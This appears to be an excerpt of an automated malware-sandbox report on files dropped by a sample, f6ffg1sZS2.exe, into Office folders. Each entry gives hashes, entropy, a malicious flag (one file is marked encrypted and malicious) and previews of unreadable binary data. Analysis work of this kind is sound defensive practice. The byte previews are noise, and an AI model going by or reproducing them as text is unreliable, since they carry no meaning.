Preview:	.<?........m.x...)f.......(.F...=.....>@..II.N.qkepJ\..5.dI B=Rz...n"..]s......)..E.zj...$.,....>....;...K.2..T.!...H....}....{5.A.....f.P....(.guC/.d...:2?.`g...rBG.X.P3X....u.....o...&9..`......m..3.O........Cw...P......V....[..la..u..32.K./jHCr8..E.tt$..?jY..W....c9.W..Q.....za_{.%F.E..L.v8g.k-.=..3.hr......U2T.]V...0..=A...J..4KN_A..X]k!...%=........'...8>.>~.x(...T.G....(.=4..c...c...\C.....?b.n.c.A....X.`...B.`..W......k..A..Q.....y.!Z.&s.rw. f....).l.7...{.f...8...q(.d....;8.0.$.....r....-.....W.l..]..'Y..v. .8....7.]>..u.b...\...."..I..sL2{.r.U......f#+G..I.I%.t....k=.. .Z...M\|...XmH..J..I......43...O......3....L].Kz..A.c..6p.o..}V.e).....i+A5.Lz.....TH..J...4...t.......[.`..!....p..W..v!. ..`.....y.S..>....+..l?.&hF9._.6.k.OT.Bh..p..>..+.?'.i&^....].e.....g.w.4.aAF.[`.*}r....)..E>p.N$u..q.7..q...e.b..7..R\|...w...&....0M./.4..=.L.3t.5....:.......F......1$.S....&v..Y7...'....3.....S.S...e....M.?A8.\....[A#.....B..~.@<d

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule704000v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1716
Entropy (8bit):	7.900111404256767
Encrypted:	false
SSDEEP:	48:RFcbPC25a3j2QYOsDUj3u8MJ8lvZOcVyAmOlgsFD:RFcbd5u0JDdJ85ZOoyAmG9
MD5:	4AC6A8A3697FAEAA1152B098CBF2967C
SHA1:	6E7E0786E0F52955670FCA784F5746BCE3DCCA82
SHA-256:	AE6C5E2ADA795E543612780960C456CF101BF3090A2E91007F9257E8719F101D
SHA-512:	27C45A086A30637DBA37D7D7EBD7FAD21D398B608E8D171C4C45FBC50EE4AF4077676439650FB4E4521E6BA48D2262D8346D1C1631FDF066F8CD5A915D04FA04
Malicious:	false
Preview:	.<?..rS.J p.:.Js4....C..o._..h..2...J\|!.`hyzM..$!.=...Y8...{.<....?.@Llx..?o....J.>...S...V.,.E+p.....X?........'j.wNjf\....d ......^....A.G....F;th...-l.e......d...@.Q.........3..M.\|Q..Pa...`..C......=Ng.H.`.F ....]..q..W.^..=..g....@...$E.K.)I.s...vmD...6.0.lY-.s._.h..H\|..GQ!....A$..j^.r..y......X!..4...........o.h...Ew.G.....R..I.........9Vw.......k........<s_:.N..U........bc...."..S..i..kJ2..#.}IF=..g.9< /.(t0...I.t..%..x.&t..;6.....M....F....WB)0.%...e.q....w.....[..##..Y".K.'....I.qw.4...M...wT<.$;9.......8V6y.b....VW...,...-....2U..C.\|..,...`.....i.S.n5.Wvp[.....)....`.R4....P....96+\......^.......,-.;jF..nR.p..'@\.Rt.g...c..'.lNw....1?.LO.;.K..<.\|.!Z.....V..u...H..7~..o(e..V......{.........B...~.wh.lL2.^../u...[a....^...Q.......n....:.LO.X.}.S...BL..a.i>.z}.b.j.G.5...;..MZ....0..f.4.?2....@....A5....A..QO...,7!.....x......].....w......1l...f..}.O..w.....X.@LzaR.2.y:.......!.......XQ\|.....+&......p..z..`T..J-.....M.i.Ka>.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule704001v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1753
Entropy (8bit):	7.885585519187986
Encrypted:	false
SSDEEP:	48:axv4L3YjZrh1gUeBNfE2eDYRhIQVdphPvrD:axv4L38lhKx7fE2eknIihXH
MD5:	7FC6A05EA2439D5A74860E3B54359119
SHA1:	00EE89040DF4E0175030E7AEECBC10ED81C3C9CC
SHA-256:	763D0B29A58165B54788FBD7C68DD28F4DAB8B7F0D409090F71ADB580BEED09E
SHA-512:	722A69A7BBFCEBBC1EE9CA539416606E5B93844E176889F4DD24DBCF5C86CAC874D34D34953DB2D3B68DE3E12DC3C96E655696622B5DC2C837B03DB4FE1BB117
Malicious:	false
Preview:	.<?.1...W.....9.:x.,..Y.T..8....A...Civ..+U.0Y@.z...:+..tO.o..K$+........Ng ..,I..b...m.D.-...xT{...i..X....1..Q0.........e......6.x.$=.w,$.W%....8.1eR..nI5..#......(u......Kv.<b...(....B.......X...C....X.u$3s.lh.&..k.n.."\|..M.0QQ...(....?>.n.Wg.........w.....P.?...(h....{.xG.6U......l..kJ.~. ......-......\Y......fZ8......tY..^.G{.;. ......i2./yJ......m...v......'f.p?.0h...G-..~.tV.D...$.x}..F..~...1wP2..o-...4...ki.c..r.3..p.I......r.:sy....,=..1Eu,T.D(JTk...F...7U(i..f.V..y.j.b7.8{.4.....j.......,F...`.t<..\|p3..h...\|.\|)...V..t.J&.T6.......%v+...\|..5.....H..&R.....%...3.1..m..R,`t..>....\|.C...f..cJ..5^.P\)T..QQ........tG...n.;...g3.:.{.y\|..s....@MH...Y..A...Z.S........#....U9.zq....m.n.A..Z6..P..1..S,..r<.......2._..7...~sM..,i...c.....q...C}Ut.gO.c.N.$o.....j_L.q..].(..{.6O.\|....B.....w.\|....DJ/H... .O..>.S..Y6....X....dW...Nv.....]X..o...u.5..[.......3aV..P..k"o.E..4\|. ;$.!9W.h.A.n....Q8*@....#...`.=..3T.p\|+.....`u9..W..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule704050v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1690
Entropy (8bit):	7.878573457849644
Encrypted:	false
SSDEEP:	48:6lAyPLqcNJr3MvcD3zNeE5q3a+WMiBD80VcjxD:KJQvSNeEGYLBD8scj5
MD5:	DF70875DC12BDE70FD05F81986876680
SHA1:	897FEE0E1E9D400AC58E7E98619CD62A09FF95C9
SHA-256:	8DDA6F065C43B35AB8553E6800E9E378F068A139D6877C91FD7829F8DD7A80B1
SHA-512:	7D072A3F1939B54E7C6CE41B0B06DE83757F6BC5499C5FE1143FE1BCF417A28C01C92BC2DE6A7CF897A87D6D378C488709D53F87BF8D46D9968E029540240003
Malicious:	false
Preview:	.<?p..^8.Y.;.f5?0NlF<..2..T(.]W4Tx........M.....!:v....bVU..B........a....sLTQ.H.povr..)....=....Y..\n...2....F.)....enT4..U.<L...v^.N.7_F.O....7.".~.2.\.\|a....b..nJ...s.c...8......W.Y...)R.w$(..........3k.....d...U..vJ....I..N.)..y...&.J..x^.....Ko...b...x{"...;....6.........y..W7....C.+.+....05$..]..F<.6.,.....G..f..(:.8Qs.,..UiLf.\|i.1...b#...._.k....6.#.......O.{.ux.o.u..4Y.....-...w.9rg.#.K.i.?.....GlX..,W..n..^....;..E..fu...Q3\#.4..#........=.H5.....,I3.&.0.A`.f[$I..:!.o.Ioz.b..>..\|.s.P...P....'j.........;..L.C..a.=...}L....@.:.3..\|O..{.x.2..E.dA.'`....(VG..4.m..\|..)y..P:.%.,..S..).?...O....'......}.....E..,..?g.m.R.mcK.E..Mq.v.......~5../K.c..C.fp].W...Q.Y.UO..:.v..E$..y...#.6.>...&....mpx....`.m..s.?.$.`Wx..........Qj..sz.....!.....2l...,#8.8>f..8...,...%3mb.f...a.M/......O.........o.......Z..{.o.D...K2.t. ...).87.$.......0.2%Q...5.....)..o........@ .....y.ET.&.b.o..[6./c...:%..Q..o...$[W.........W...#....R,.....h..]:

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule704051v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1727
Entropy (8bit):	7.891684868546934
Encrypted:	false
SSDEEP:	48:DS6ChmwQ+VDdHIEQc7baXcj7Mm0KrM026XfcD:DSewQGDph77baXcj79n46XQ
MD5:	3DC87DB367F10392964EAEC66253BC7D
SHA1:	FF3A3B4BDF345A5B04BD6EBD99734932E66DE323
SHA-256:	C1263435DA597D3F646FE380D03CF45776D325166C100DD41A31BB8CE9A3A8EE
SHA-512:	3CAC401AC4AA2DAD204BECBD6C94ABF1FE36592240B95E5D0F7910A6F67A17BD8A4C2106D2619A62E9462B06738737DD0B47BF1E4BD543AE43E8DAF9A403FFCA
Malicious:	false
Preview:	.<?....^...4 ...a...,..V..%.~d..[.W.....<....~....{._.3..D.{...l..h.n.>B.$./j...=..`T.<.n.F......[(4&.-..T.40..~-..g.+..._y......B.........1...\.jk.D;.0..~..u..C.{?_/..C.S..Nu.....@(.`.......]o&P..(..?j:.S.\|K.Cv..R."..Ne..eN@z...L.&..df ..Z...H.<A.Z..cw../"..\..!.../.?.LIt[J..........{q'.2......mmv..<k..un.U..;}..E..I<.@..J...tA\|..g.%....T.(.q.A.DR...5_/.k.>..nu......{b........(..~...1D.....tF.........9a........bB.k(.0....WLNK.aq..NE. ..5.wU.6.FJ\|.w.....@&._...p{....j..[.E.r..:z.s%q...r...V..}...'..r..Gw...K. ..yc_+..w.......[..7+:...6.9.n.:d..Wt.E$..'.7\|.Z8......y...........G...\._...%.x..T...W\|..........8w.(..^M..k=k..sg.r..S.~......4._...8.#...G)..G..l.F'....Q..../VK6S.Lp...6.......D.".Y....u.\._...kd..N.Z.".L..f.W!.E..]..(,......E?D....*..x4.t.....Y.%)\|...S...:L\s..!....w......V.Y..2.i......"..........?wY..d....N<.`k.j.....tP..}h...v.90-.j#..k.o...;....+.HNz,.s6..Y`..K..T.A..C..XU....,..Z..].....z,J..Y9..3o.."....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule704100v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1696
Entropy (8bit):	7.8934272294558125
Encrypted:	false
SSDEEP:	24:jmSHAu9a3k+uVN5y4nJ+ne+9bQ0CEs7n44OXUDw8AVH6dm7M5KrVbo7nk1osgbD:jmHuxVrlgnHQ0Cx7ndtDtFAM5G9Q1D
MD5:	B3D6D06B29D0C8B847B719DA73997172
SHA1:	9FC5FC1260179FC2E529AF72DDB0175EB413E19E
SHA-256:	5F240510C481E8DFBDE4836254FCC2297D8463AEBB36F311B70591FD593CEA0B
SHA-512:	A6C111BB8C8E755EC33401BF75FB40C417DBACB6CC80A9815E25FCA676A75AD4998528617CAF6E958C6B6E3FFA92EA0250A291D2FEF27DC754CA483B3DAF2148
Malicious:	false
Preview:	.<?..9....l.Vi..[#.:...k....Q~.9/O.v..q:..Y;5....x.....\|...3)..@..qt....9.'..N.<w.....I]a$F.E.#/.\|6"...h...C.i;_S...._eeP.@F_...L.J......B.71....V.p4m....hx...t.L.@x@.8Mc~......]e7.......iVD..(.c.....TD%.J!H.@...YX..F.-.\.Wn w_!...&..1bgRp..U......c7QM.~h.X.g...4....u..9>R..}/3...~.]...D5..lp...`_H:..Z..q.....`5^...u.%.RF+.....n31n..V....U.g.GHy.6.B,].[...@..q~..d..g&p.{...Z.E.p;.y.r[..........;.T..S.B~........j'..).0...S.9O..\A(.,;.b..l...[........38.O...kP......!]..7.9.K..j..l..........f<....J!.F......O-L.`..dt....tp....../y.`.. .0`......c3......j..F.n..}..Q..\|.....w_}.%3?IB.J.U.....u.Ds..e.wa.k.:...I....jg.@.k.Q.:.H#U..a.....UY.x..KZ.......hIn...>uZ.%k.u....0qq......]-.\|n..Q..6.r .n@.../^.6..c..!D..>..>]K.i.9..q..t....I.h..3....L..~..$9.....-I....eu.m....&.....{V1x.G...F...G....r..'......+Y(f...B2W...."^.m..a[.L...e.....o..d.......D.{.yW....{.........^.b^{..p..._....g.F....2s.\...&N........eU^..44.z.....n.00.T.&g..../.....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule704101v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1733
Entropy (8bit):	7.879953623872838
Encrypted:	false
SSDEEP:	48:470n6HksvYq/1xBz8nRBBt8I/NXf7rjptoYD:4w6HksvfWRpRNPvNt3
MD5:	2A4D436AF2337272C3A9636E25B7BAB0
SHA1:	F25253C95E306261A514BEBF9597F38E89F53566
SHA-256:	AF2A7112EBD3A3A10F68D6BF7D42FDD5FBBD3360FC8621F891C1D80038CB9426
SHA-512:	4ABE0E3F3EA9E7EE32B1BB8A1078936323EA3954AACC85CBDCD3F9D81CAFB17E145F7F176CE60C978716BB205913CCDA03F7C8BA9793AA44581BC6F0F0A1E0C3
Malicious:	false
Preview:	.<?3C[.N..,WK4....vG....2.mz..y4R.w V..............\|..nHp..=....p..M..cG../...F.C.H...%X..Y...N.\x...^..)v+q.8..z....fP.I..).s.5.r.,}4...8c.....Z...q.....1....\|N.J.......Js....;..U7....q.V.M+.D#.<)..\|.G.N....%\^..<..`...e..#S.....M.~.<...0....G.n...,P2...1<.O....w.S..d..1es....1&....."9.pj....C.w&gY.Z..>c.:X..#!D...L\v.....@....L)Pf.......!.o6..9....n.....`V..^.y..l...6......M;.C6..o.[.<oz.Vb.L.,...1.C.v@.3...........$...%Y.n.&..."Z}5m%?.F..#..of.....w......^.Il...s.TR...c8....E.A}y.+.....@...b.&G......&.7-R?.K=.JZg2%sp\|9J.........]-~..H....e........9.\|.p..?.g]...8L}.......FM..9FL..R..F.............".r..e5...1..'....VD..'.L#I..g...h.....oC.N.S{..i...>..)...@I.M'N.N....mhfx..]......k.#6..7.\|......Z8..*..Kl.2.m...nTF..0evjks%,cu....&\.sa..w.o..}..:.;>q..t.-.5{n).7U...f...n[.....y...k....h0..<.i{..f..%)...P..Z..E.....0...}A.....XJ..N..d..t..s. ...^.Xw%..i=....{.uk.. 5....7.w..0Q6....h^o=B.D.&].. ...R..Q..Z.B/..p.....v.TR...:F.PNX.Ya.L/l%...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule704150v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1696
Entropy (8bit):	7.869507629417316
Encrypted:	false
SSDEEP:	48:OlTffo4Tt7PPCCyOF1ie2OOpZli2mQ9xD:OVfffxPCCyOfklOrW
MD5:	E3F40B12557081CC9FB46DBAC9FF0C59
SHA1:	A43C87961A3F33DC1D47E3B676789D5FF38B36E1
SHA-256:	531D9E4A7761DC1D1BDE92C945E839B2A68089353775173C937CB6CCB45F9D72
SHA-512:	4D4699B7473233055B1F7599BA6B4CE6B2481E72BC502F58F255545178AE5A5F72A39577E1A5FDC2A20A4E9062DA90B74F32B6D67B02EA0CA35A1C0B22EB448C
Malicious:	false
Preview:	.<?...~.z>.8....F.e,.u..krw...#......G...Qx.....v...o.$.B....}i#`L.p.}........zliz.$+..HT.R~Q(..(c...w.E.r}._^.....z..8....4..bZ..n....~.<...e/.,.v..Q`QB\|.+.u.V...{.(d.T..fo...f.w......\|.........b....+.x.=.1KEe..\|."...<.%.h..NL.]...B.E<..&#tt..krn\|....M.....@..k....1.t{..9m.:...ER...G..Y)...@.A......E.."...d...<..D#(1R-..W\|\|.._..zo..#\|\|:?.....%zN).j....Dn...:g...r&..w..s.u.C.m.R(q.....Yy.....,.N.....2.Tg. ..(.K..8....p........?..8eb.:...D.N#..m...n.a..3..=..?=..y(...(.....ap.v..9mj.]\.V.n..@.T.B...EGp......tuj.@..a...%2.=.....!...b.......x..x....9..9=!.Z......E..}..M..OM.....]r....?.i].H.k.......=.MM.0.t=...[..p.H.2.FXJ.%...>....I..e;DD.tf. .3..F.c...'O@,.!.]e..%z.Kr'.....8...WF....;..H.....7..M..n.......K.......i6.x:....4./.dCJua.%.....n....d.PG....i$.]..^.D....2Pn(......QH.F+X..@....X.X.............:p.n..yH..'..M.>yq.~...X5.m..rO).H./by..D).D.\..)N....R<....i.)p<......k.F....Uc JK.K....3.0.UE....o.......I..^vQ>.m..X@...Li...=..p..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule704151v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1733
Entropy (8bit):	7.889177179830143
Encrypted:	false
SSDEEP:	48:LB4OjTQStFqflSmJLzvs1suWg+tzxW6AED:VDflhkLz8sHTW6AQ
MD5:	468B8BDFEE7DF26A95846F5C5C7272FD
SHA1:	015F8FD66A8DBF18D438DE8C16B1050631D2274C
SHA-256:	5AE3CB388D1FAE6579F13CD852266527A4624B5ACD1F1C305C880A1C05D47652
SHA-512:	BFC1199C795FC2692BD815DB2B9EC3193D40297B47B61337F0381C404E9EFED3D99B372AE61142B27DB50275D82B8A52E83C12368B9802282889E4954520E856
Malicious:	false
Preview:	.<?+h"....W..v...A.b.$.O...+K.h..D....z+.-.F"y.Hj.z.}y ..d.../.;.K$..b.=K<..p...K..=..1?."t4y....`..&G6.K.L...!P.?W...I. ...~d.%r..;t#....D.-.....+..L.WAn.7Q.!qa.wO..j.#A....gZ........<z.x>_.....k".w.\|..s ...4.?K7..y9..7I.A...\.$...a......l}y8._.s.;...,JMa..N.V.V.Sh.o..2D@L..."......x.~.+$/.;.Q.q_.\|.Bn...UM..g.z.s&....O..K.\........~..#..T.^.9M...-.!9w.!..b..R.w.{3G)C.>4.+.....U..L. ....[n.).>.tgT...R.8.O.8ML..3U....({....._......Wb.~....;.....o..E..).V..&......'@.!.s.4...ww..&4.~B+t.......5;i.z(.....er......G..I.z.O.!.F!.T..........'...\|..p....n.D.E....O......1....r..GNf....]..Y...Y........Y.9W..LZ.i=...o9.T.......!:)..<......6.._vuC..6.{X....q.....B1]..k.....{.z.H..I...&. iP..(....w.i.ldw^b.}.$.X..24x$.4X.J.....\|/[z.MP..a.Zy.m.=..r........n9.....&.g..9Fj..,.'.s.J)..4vj...-Jg...3...t.W<O.3n....pUu&.2....m..i.........Y>.\..bF...h=k>D.?'.....[$../&?.....g.F..4..Tm.;?W.T.!p9w....RM.I..A._.........j(...g.....Ygt..j.T...}z

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule704200v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1714
Entropy (8bit):	7.885995491308668
Encrypted:	false
SSDEEP:	48:iSI8jWSzP5Ium3NlHzUnNqHrXihM4i4e1lQ4BaD:iSI8aST5/KlHzUn6XihM4ze1lRU
MD5:	BAEB5708FC0CDF19C4447D436D474813
SHA1:	B5062A37004C6C4C63E497B2C45E65BC919CFE25
SHA-256:	304F3629A5C8ABC6144B16650E2F7E95E07E6F5AD59A5E6B20F3D66FFF1E7D3A
SHA-512:	504289483AB878C34762D253E172A44086FEF5166518C09560A39CC00F2BB5B4952ACA09B682BE75F85FECEE47A73D0C49CCD09A44FA6CA997FE70925DD70C1D
Malicious:	false
Preview:	.<?.o....]l3?.c...A.@.h.M..z?........PL.@..=.....OV...+..4.O}...}.!.;...`}..I....C..y?....\|...Q....Nw.-....t.d4.>PCd..UL.We^....#!.....%B'.....'..hO"SWR.5~.x...\|.d."..cD.Fx.....C..3.S....;..i.....}..&.n.8..m#\..2.3...0...r.\.t..v..2.h.y......J.!].#.pdZ9.i...R..Lb..^:....S..L`.,.$-...{...=`z-#.\............Vw....5.....y.0...n0xz.l.F..Q.B.n.5..rM&..s......(.D9..I.W..>...l.;.............y......f-V......C.......[3..1....f.$...u.........=\|.C........H.h.. ).D.....y..K.l/....M...E.o4..BA...t..].G?.'..r....,k.A: ._...~9.z.e..;.....R.]i.....[Y..HB....%...A_h.....x...;.Z.....'<.j.+.+....-to.in.2....h......i..j...r....M...U6Q$z#..H..}fg.......@G....k}j.....vW.5...~,.&.....5m..@^1w...Fn...Hui..S..bD......:\..=f..!o.P..:{...GQ.S;....h.../.M.([.....U...`...+5.C@e.</.]\L...5..w[..w..ND..0iu8.......r..`A.).$.....O..#..K,b........U..1.).....(u...8.Pg.;...i. ....O..R*G+.0....)..{9.V.s.\|W.5._...g.X[...........1.....&]Fw...z&..q....+4....\

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule704201v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1751
Entropy (8bit):	7.897551176005703
Encrypted:	false
SSDEEP:	24:mHc9ai/24lnA8LA33vXy9RzeSXZv2i/EsUo72d4tFPga9XfXuaJ5FLfwaOqrdSxO:PDlLL4/GzXEKDbPfJfeahoaOqZeWD
MD5:	C09C6987F8FEAC237AB5FE53B834F244
SHA1:	8D42B53A426B3FCFD4F4918668D2E1BA601BB888
SHA-256:	C8D9094D0E936DE512593304A959EF67EB02952D24F5F137DFABFF3D15B2E3F3
SHA-512:	1932CD4C45AC1FD7B1B61D4C5D1C2284B96D1C10FAC9D75ED0F592B03C825EEF2ECB184753396397D8F24EA383B584A113E07A768542461A97D4EFF5E0E5A294
Malicious:	false
Preview:	.<?....l..}O..z.q..O../m);..+....#r..R.m.\.`6.......v$T.I.g..Jo7..`B..s....._:.2.b...h~`pOdTw9},..oR...<.Mb....be.O...UO......Di....T....`...F.u...I.e...c.t.....iH.f.....l....v.e..vH..#.y{..`.}...Z....'7N0.._......nP.k......O...\<uo}jWd.m.#..U..`[k..Y....h...V.F.>...>.%,.H...........B.e...6..._.r.. .xl=,Y`U.l^...E..J...(.b.[."uUnI..W\|......... )v.-RE1.vz8.........:..1..@..$.!..........gxe.Y.t.J.k..G2p.....<K.6Y..!......\.\|[........m...%...(..<.......u;x.`.w.....;..`P...Y.Ls..vY.....kV..wV.`x....Pz.&....gv....h.m..o....O.,y.^... 8.d)......;T...l=.+..v..tpVP..P...P\......W..%(.{........Y.O[..<...@e..~..b\......u.s.9.<......4^0.F..@...C\..O..w.....J......:........P.......G...GL.t....C..3.Tj^......i%..d..+m.DR.S..:.m%zO.n.s.....Fv..s...O...s......./.g...}......2e.?=.`W./.U.F=m..i.I..S..qf.d.(....~F..6P..x.@.Y).cF...B.....-N.....2..=xq.e.@..`y=..w.j..QH+\..........aq....i..z..'.......4...E.U..l..V.=....![..6.rdO...2Z\.u.j./...........NB.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule90401v3.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1583
Entropy (8bit):	7.854445639181999
Encrypted:	false
SSDEEP:	24:jhBp8o0aqYHEb8wtHIJrTrcB8VA7bZGW6nX+weZiMfu9WhJirrsUQS5EObD:jCohqY3wtodHcyVqXD/sMgW6X5EsD
MD5:	DC208728688118CDBC9C13B7B2ABEB7B
SHA1:	24EA2480FB8487502DE59BD01C74095FF9F83810
SHA-256:	4AA08D9FE207D87F2EB662CE7C613B68FEB36958D462C0FF172DAFE4C5376F38
SHA-512:	E2F4B10953D91EECA810A5AE4228A4B2BF2F5335175991CF81DD757FABD93A28369788CBD8E193E8EB832727A8B15653CAEEFB94D306288495E171D338663896
Malicious:	false
Preview:	<?xml.m...cJr.y.>...tS.....1jw..}.......'..L...;q..0..BN...$c..K.L.Cw.......e....r.=K..Y..x.._..5p...(..b.q.>.ae...w;...A...EI5 p...T&.....`0y8rO...zE......ig\..`.5.K.zM\|Z.~$....x.%L...........1p......w.....q.yP.s.\$.[.u.UKxi....[!+.g.$B....-....H.E.H.`.OD.Jq..$.r:2....%...[.p.gy.....3.-aM.\|/...1..4....^.`Wt.s....5..Kj..i.V.(......"..-...s.y..b...E....b..R!.W#......G6.....I...<..m..#.7.a....t.a...zV...l.)..._.2:.,.}...&Q....[...[.Tj$RsG...r..z.2..AQ.. ....o.=.J.e....=]......X?.)...g.@..M.......Tb.....8...u.....F>..S..Q]S...@...u.....=r:...Wl.....}!...A.;E.`../.6".0..g..:!.i.....dt(Jg..ua..M.5.r.nj....f...}K... ...'c....DT.ZV..>p.8k.._.+..V_.7..!."?......V4.f0Y..2..Qk..C.'D.....LdV...x..I.@..r?].yu.._.uyC.\|.U<P...&.....j.a..Gx.z_...."..Y..fj.\fi.;.....'E..`}.5G..!..uj$.......J'.....R........#..7N..@. .0.++O.......`.....b....C`...SrD.....[.L./Tc ..!....LY...a.<.}.c?.z...z.UY...).h........M...M..}.....!....$>e'~......R.1.U..-..6

C:\Users\user\AppData\Local\Microsoft\Office\16.0\setup32.exe_Rules.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	135031
Entropy (8bit):	7.998445700502135
Encrypted:	true
SSDEEP:	3072:kMJTj5yORsGJnflzd+qZbJMk0yd3MuHN4AkyhYBB5YEoIXYQ4:kaT99RpnNz0qZbGad3HL+BMEoIIQ4
MD5:	40AB2F2515B4A43669CBE0505FC187DF
SHA1:	617BDD1431DB83336A94CE9640F7163197F384C8
SHA-256:	A26DEFF4CAA392C5FA520C0291A575E395F5594DC8DE41EF28D2F2CF0EFD2572
SHA-512:	BAD8445239665F2A5CA5B8B763039AE6AB81B79425B470F10DBB6FA417B779AC8620C13BBD5C1AD10EEAA3700A2CE0BDE1BC49AA11B9A146319A1993F10AE970
Malicious:	true
Preview:	<?xml..C..0.e...=.. ..{.Ry.9).......4].....-2....c.6..Z)....T.5o.9..).3%.........g-......!:O.......w)...?....".X..z..s..s..A..r..c......(...#.:I3gP....3)3...."_..<4.5...Rm.7-..\|...`....?A..-...q.1.\|.X.U.....1.....~.\..N.dK....dL.F.^.._p..E.m..".....{.......1...!.>.#{.N.Z.,.m^.?Q./.........5Y.+.[..Z~.s)..G.k.9.&m...}Bu..zG..5.....xkq`..\|.g!h.pT..cx..x.]..@.WWl..UH..E7..x.f.5[.p....X-OAVW....a...0...Wk.U.....&...h..e.........N.i.j.C.dB.H..)...Bq8..'S.,^M.E.a.[F.Lz...?...0{............OI%.......'2....Q.#hW..;..!j.[."]d........pR.....B..G.^...)... .kDM.:..h...7..l!P.}...P...Z.+.nmx..1.:SQ."..TF.U....._^...+g..k..t.^........Z\|..}$-..:i+k....y=.9V>.m&.....7.9qnXa...Em...p:.^y%....?..V....\|....tU\7.3..^5....p..w4T.O_m..$rD......)....T9....d.aE.s..11....u.y.U..$..".hO.....+.sy ...W.:.<1..D.]@w@E.a..C.../..s4..6h..}..h..}pys.?....o.m...4L[.^.B.+?."7.oN.eJ....o#.?:S..D'.2.\....A.E..).<..Q...}j.t$6....8....YY5.8..n.J.*..g.!y..e..m...

C:\Users\user\AppData\Local\Microsoft\Office\Features\1-3FeatureCache.txt

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1152
Entropy (8bit):	7.82906698246048
Encrypted:	false
SSDEEP:	24:FwYt3DjyCMF6GzVtsikjM1RqJitPf4TP4L7MVVxcbybD:LDjyt6GzVtsikA1MJq4TxVobgD
MD5:	29663886782816C4B4C8E87B7014FFC7
SHA1:	F6D21573390AC6A243CCCB58A5BAAA99B1623DB1
SHA-256:	359F6A68A0C13591C7E94CD556FE17AC7FE3345B250A034F1C20C9987822E4BF
SHA-512:	A3A221D6C5D1407BEB74112E35745A2798887CEAEFA1688FF76664104149FB53EC456F28E1CFAA3FE843D8835A7810FAD105CAA02661DA9E1DD1AFB3EBCC90F3
Malicious:	false
Preview:	1.1.9.c.LV...ejSf.G['7.t..Gk......&..]KC.d..t+..!.:......)p..=.G...>..o..u'.A~...(....!d...Y .\|..ia_uf..\....t....[.e..W)Ba@\|.DP..K=.@YN}].KR....5...1.W..Q....E...x.P..0G.qF...b.g..W4........cg...u........TF...,.3$.+i...^.....h.......<j....h....&.5..\..a\|.?.....\|...rrc'.Y..<..{g..[.Q....kH...).s..M...c.^&.....e...(l.....u....Z2..Y?..q..........\|.Fy.'...`:t..h..O.d^\|....0.q.a_.....m...4..r..<......1^.S..a..........^.0.\\\|..%J.5...+...1C]Md..0..aC.'....{..\|.W..Jaox.KNi.@..B.........W.....7.....}.j.R[..su2.. \?..'X...u.......\...\....(..>F.q..:....[..7...w.7 ~....).x.NJf3.C....Y...^.*...!M.Fu.Ox...&$.6......Qb.U[E..16..R..E_..X.....d.v.4H.....80.G.\|...A...I.d........;..f9V............ .N.....R...........]..LE.....X.f....>..m....>e....T].qDhja..$yan..uEO....T...s5u.@P_3.O.....1.Arx..r.,...j.N...O$.Ii.+si...n....-.iC.e...)-.7z/....%Q.l....TQ..t.^.;...D......!..n......\..{\..A9../=].8o...]W..dy.G0..&j6.....ZI..L.

C:\Users\user\AppData\Local\Microsoft\Office\Features\1-7FeatureCache.txt

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1170
Entropy (8bit):	7.814567874331733
Encrypted:	false
SSDEEP:	24:wdPXnCq/65PxMkoHSYd6hwomQPaQCZ3VwwLhxlSf1Ah7eo6F24MobD:wpXnCqoxNYwhHhPazxj5GWhnH4MyD
MD5:	05EBEBDAC55CC8605FB145F2FB6E305E
SHA1:	47DC9A8A1928B7D2750E65AE021FC1EE1D5E8722
SHA-256:	042DAF32AF12BDB4DDAEFCD2C112AE4F54CC4B78995B51218542BC593388E036
SHA-512:	C56A9E8EFF257CD72D203718389A2F76BED2A09E5CB00674B9155D8D71A3037D394F410683B7DF211BA16268CAB785E123E0C58E5E8D4E0A0456F78A87D907AF
Malicious:	false
